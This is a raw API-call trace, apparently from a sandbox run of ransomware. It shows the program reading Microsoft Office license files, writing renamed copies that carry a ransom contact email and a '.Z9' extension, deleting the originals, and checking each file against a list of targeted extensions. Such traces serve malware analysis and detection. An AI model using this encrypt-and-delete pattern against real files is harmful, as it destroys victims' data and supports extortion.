	[0178.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0178.572] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.572] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0178.574] GetLastError () returned 0x0
	[0178.574] ReadFile (in: hFile=0x4a8, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2d61, lpOverlapped=0x0) returned 1
	[0178.577] WriteFile (in: hFile=0x538, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0178.843] ReadFile (in: hFile=0x4a8, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.843] WriteFile (in: hFile=0x538, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0178.843] SetEndOfFile (hFile=0x538) returned 1
	[0178.843] CloseHandle (hObject=0x538) returned 1
	[0178.843] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.843] SetEndOfFile (hFile=0x4a8) returned 1
	[0178.910] CloseHandle (hObject=0x4a8) returned 1
	[0178.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.911] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 1
	[0178.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0178.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0178.912] lstrlenW (lpString=".doc") returned 4
	[0178.912] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.912] lstrlenW (lpString=".docx") returned 5
	[0178.912] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.912] lstrlenW (lpString=".pdf") returned 4
	[0178.912] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.912] lstrlenW (lpString=".xls") returned 4
	[0178.912] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.912] lstrlenW (lpString=".xlsx") returned 5
	[0178.912] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.912] lstrlenW (lpString=".ppt") returned 4
	[0178.912] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0178.912] lstrlenW (lpString=".zip") returned 4
	[0178.912] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.912] lstrlenW (lpString=".rar") returned 4
	[0178.912] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.912] lstrlenW (lpString=".bz2") returned 4
	[0178.912] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.912] lstrlenW (lpString=".7z") returned 3
	[0178.912] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0178.912] lstrlenW (lpString=".dbf") returned 4
	[0178.912] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0178.912] lstrlenW (lpString=".1cd") returned 4
	[0178.912] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0178.912] lstrlenW (lpString=".jpg") returned 4
	[0178.912] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0178.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0178.913] lstrlenW (lpString=".doc") returned 4
	[0178.913] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.913] lstrlenW (lpString=".docx") returned 5
	[0178.913] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.913] lstrlenW (lpString=".pdf") returned 4
	[0178.913] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.913] lstrlenW (lpString=".xls") returned 4
	[0178.913] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.913] lstrlenW (lpString=".xlsx") returned 5
	[0178.913] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.913] lstrlenW (lpString=".ppt") returned 4
	[0178.913] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0178.913] lstrlenW (lpString=".zip") returned 4
	[0178.913] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.913] lstrlenW (lpString=".rar") returned 4
	[0178.913] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.913] lstrlenW (lpString=".bz2") returned 4
	[0178.913] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.913] lstrlenW (lpString=".7z") returned 3
	[0178.913] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0178.913] lstrlenW (lpString=".dbf") returned 4
	[0178.913] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0178.913] lstrlenW (lpString=".1cd") returned 4
	[0178.914] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86
	[0178.914] lstrlenW (lpString=".jpg") returned 4
	[0178.914] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.914] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0178.914] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 37
	[0178.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0178.915] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=19966) returned 1
	[0178.915] CloseHandle (hObject=0x4a8) returned 1
	[0178.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 0x220
	[0178.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0178.916] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.916] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.917] GetLastError () returned 0x0
	[0178.917] ReadFile (in: hFile=0x4a8, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x4dfe, lpOverlapped=0x0) returned 1
	[0178.919] WriteFile (in: hFile=0x548, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0178.921] ReadFile (in: hFile=0x4a8, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.921] WriteFile (in: hFile=0x548, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0178.921] SetEndOfFile (hFile=0x548) returned 1
	[0178.921] CloseHandle (hObject=0x548) returned 1
	[0178.921] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.921] SetEndOfFile (hFile=0x4a8) returned 1
	[0178.939] CloseHandle (hObject=0x4a8) returned 1
	[0178.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 1
	[0179.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0179.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0179.238] lstrlenW (lpString=".doc") returned 4
	[0179.238] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.238] lstrlenW (lpString=".docx") returned 5
	[0179.238] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.238] lstrlenW (lpString=".pdf") returned 4
	[0179.238] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.238] lstrlenW (lpString=".xls") returned 4
	[0179.238] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.238] lstrlenW (lpString=".xlsx") returned 5
	[0179.238] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.238] lstrlenW (lpString=".ppt") returned 4
	[0179.238] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0179.238] lstrlenW (lpString=".zip") returned 4
	[0179.238] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.238] lstrlenW (lpString=".rar") returned 4
	[0179.238] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.238] lstrlenW (lpString=".bz2") returned 4
	[0179.239] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.239] lstrlenW (lpString=".7z") returned 3
	[0179.239] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0179.239] lstrlenW (lpString=".dbf") returned 4
	[0179.239] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0179.239] lstrlenW (lpString=".1cd") returned 4
	[0179.239] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0179.239] lstrlenW (lpString=".jpg") returned 4
	[0179.239] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0179.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0179.239] lstrlenW (lpString=".doc") returned 4
	[0179.239] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.239] lstrlenW (lpString=".docx") returned 5
	[0179.239] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.239] lstrlenW (lpString=".pdf") returned 4
	[0179.239] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.239] lstrlenW (lpString=".xls") returned 4
	[0179.239] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.239] lstrlenW (lpString=".xlsx") returned 5
	[0179.239] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.239] lstrlenW (lpString=".ppt") returned 4
	[0179.239] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0179.240] lstrlenW (lpString=".zip") returned 4
	[0179.240] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.240] lstrlenW (lpString=".rar") returned 4
	[0179.240] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.240] lstrlenW (lpString=".bz2") returned 4
	[0179.240] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.240] lstrlenW (lpString=".7z") returned 3
	[0179.240] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0179.240] lstrlenW (lpString=".dbf") returned 4
	[0179.240] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0179.240] lstrlenW (lpString=".1cd") returned 4
	[0179.240] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87
	[0179.240] lstrlenW (lpString=".jpg") returned 4
	[0179.240] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.240] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0179.240] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 37
	[0179.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0179.242] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=11621) returned 1
	[0179.242] CloseHandle (hObject=0x4a8) returned 1
	[0179.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms")) returned 0x220
	[0179.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0179.243] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.243] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0179.244] GetLastError () returned 0x0
	[0179.244] ReadFile (in: hFile=0x4a8, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2d65, lpOverlapped=0x0) returned 1
	[0179.246] WriteFile (in: hFile=0x344, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0179.247] ReadFile (in: hFile=0x4a8, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.248] WriteFile (in: hFile=0x344, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0179.248] SetEndOfFile (hFile=0x344) returned 1
	[0179.248] CloseHandle (hObject=0x344) returned 1
	[0179.248] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.248] SetEndOfFile (hFile=0x4a8) returned 1
	[0179.252] CloseHandle (hObject=0x4a8) returned 1
	[0179.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms")) returned 1
	[0179.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0179.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0179.254] lstrlenW (lpString=".doc") returned 4
	[0179.254] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.254] lstrlenW (lpString=".docx") returned 5
	[0179.254] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.254] lstrlenW (lpString=".pdf") returned 4
	[0179.254] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.254] lstrlenW (lpString=".xls") returned 4
	[0179.254] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.254] lstrlenW (lpString=".xlsx") returned 5
	[0179.254] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.254] lstrlenW (lpString=".ppt") returned 4
	[0179.254] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0179.254] lstrlenW (lpString=".zip") returned 4
	[0179.254] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.255] lstrlenW (lpString=".rar") returned 4
	[0179.255] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.255] lstrlenW (lpString=".bz2") returned 4
	[0179.255] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.255] lstrlenW (lpString=".7z") returned 3
	[0179.255] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0179.255] lstrlenW (lpString=".dbf") returned 4
	[0179.255] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0179.255] lstrlenW (lpString=".1cd") returned 4
	[0179.255] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0179.255] lstrlenW (lpString=".jpg") returned 4
	[0179.255] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0179.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0179.255] lstrlenW (lpString=".doc") returned 4
	[0179.255] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.255] lstrlenW (lpString=".docx") returned 5
	[0179.255] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.255] lstrlenW (lpString=".pdf") returned 4
	[0179.255] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.255] lstrlenW (lpString=".xls") returned 4
	[0179.255] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.255] lstrlenW (lpString=".xlsx") returned 5
	[0179.256] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.256] lstrlenW (lpString=".ppt") returned 4
	[0179.256] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0179.256] lstrlenW (lpString=".zip") returned 4
	[0179.256] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.256] lstrlenW (lpString=".rar") returned 4
	[0179.256] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.256] lstrlenW (lpString=".bz2") returned 4
	[0179.256] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.256] lstrlenW (lpString=".7z") returned 3
